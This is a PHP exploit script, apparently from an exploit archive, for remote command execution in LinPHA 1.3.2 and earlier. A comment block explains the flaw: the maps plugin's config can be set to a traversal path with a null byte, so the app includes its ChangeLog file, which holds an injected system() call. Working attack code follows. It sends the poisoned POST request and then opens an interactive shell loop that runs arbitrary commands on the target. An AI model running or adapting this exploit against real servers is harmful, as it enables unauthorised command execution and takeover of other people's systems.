linpha-exec.txt

`<?php  
  
/*  
--------------------------------------------------------------  
LinPHA <= 1.3.2 (maps plugin) Remote Command Execution Exploit  
--------------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://linpha.sourceforge.net  
details..: works with magic_quotes_gpc = off  
  
[-] LFI found by rgod in /plugins/maps/map.main.class.php  
  
20. if(!defined('TOP_DIR')) { define('TOP_DIR','../'); }  
21.   
22. $type = read_config('maps_type');  
23.   
24. require_once(TOP_DIR."/plugins/maps/$type/$type.class.php"); <== LFI  
25. require_once(TOP_DIR.'/plugins/maps/geocode.class.php');  
26. include_once(TOP_DIR.'/plugins/maps/location.class.php');  
  
an attacker could be include an arbitrary local file through the require_once() at  
line 24 cause is possible to modify 'maps_type' config value by another script:  
  
[-] look at /plugins/maps/db_handler.php  
  
112. if(@ $_POST['job'] == "settings")   
113. {  
114. update_config($_POST['maps_yahoo_id'], 'maps_yahoo_id' );  
115. update_config($_POST['maps_google_key'], 'maps_google_key');  
116. update_config($_POST['maps_type'], 'maps_type'); <== 'maps_type' value updating  
117. update_config($_POST['maps_display_type'], 'maps_display_type');  
118. update_config($_POST['maps_google_ctrl_size'], 'maps_google_ctrl_size');  
119. update_config($_POST['maps_default_zoom'], 'maps_default_zoom');  
120. update_config($_POST['maps_default_zoom_location'], 'maps_default_zoom_location');  
121. update_config($_POST['maps_yahoo_type_control'], 'maps_yahoo_type_control');  
122. update_config($_POST['maps_yahoo_pan_control'], 'maps_yahoo_pan_control');  
123. update_config($_POST['maps_yahoo_slide_control'], 'maps_yahoo_slide_control');   
124. update_config($_POST['maps_marker_auto_popup'], 'maps_marker_auto_popup');   
125.   
126. header("Location: ".TOP_DIR."/admin.php?page=maps&plugins=1");  
127. }  
  
and now we need a file to include...what do you think about ChangeLog?  
  
[-] ChangeLog file:  
  
393. ###############################################  
394. ### ###  
395. ### LinPHA 1.1.0 RELEASE! ###  
396. ### ###  
397. ###############################################  
398.   
399. 2006-02-19 bzrudi71 <linpha_AT_tuxpower_DOT_de>  
400. * tagged LinPHA linpha_1_1_0 :-)  
401.   
402. 2006-02-18 flo  
403. * fixed linpha vulnerability found on secunia.com  
404. + docs/index.php and install/*  
405. include($lang) fixed  
406. + plugins/log/logger.class.php  
407. use htmlspecialchars() before write logger events to database or to text file  
408. for example:  
409. User <?php echo system($_GET['cwd']); ?>: login failed! <== oops! ;)  
410. will be replaced by:  
411. User <?php echo system($_GET['cwd']); ?>: login failed!  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from ".$host.":80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
print "\n+------------------------------------------------------------------------+";  
print "\n| LinPHA <= 1.3.2 (maps plugin) Remote Command Execution Exploit by EgiX |";  
print "\n| - bug (LFI) found by rgod |";  
print "\n+------------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage...: php $argv[0] host path\n";  
print "\nhost....: target server (ip/hostname)";  
print "\npath....: path to Linpha directory\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$payload = "job=settings&maps_type=%2E%2E/%2E%2E/ChangeLog%00";  
$packet = "POST {$path}plugins/maps/db_handler.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
http_send($host, $packet);  
  
define(STDIN, fopen("php://stdin", "r"));  
  
while(1)  
{  
print "\nlinpha-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}maps_view.php?cwd=".urlencode($cmd)." HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$resp = http_send($host, $packet);  
if (!ereg("ChangeLog", $resp)) die("\n[-] Exploit failed...probably magic_quotes_gpc = on\n");  
preg_match("/User (.*): login failed!\n /s", $resp, $shell);  
print "\n{$shell[1]}\n";  
}  
else break;  
}  
  
?>  
  
`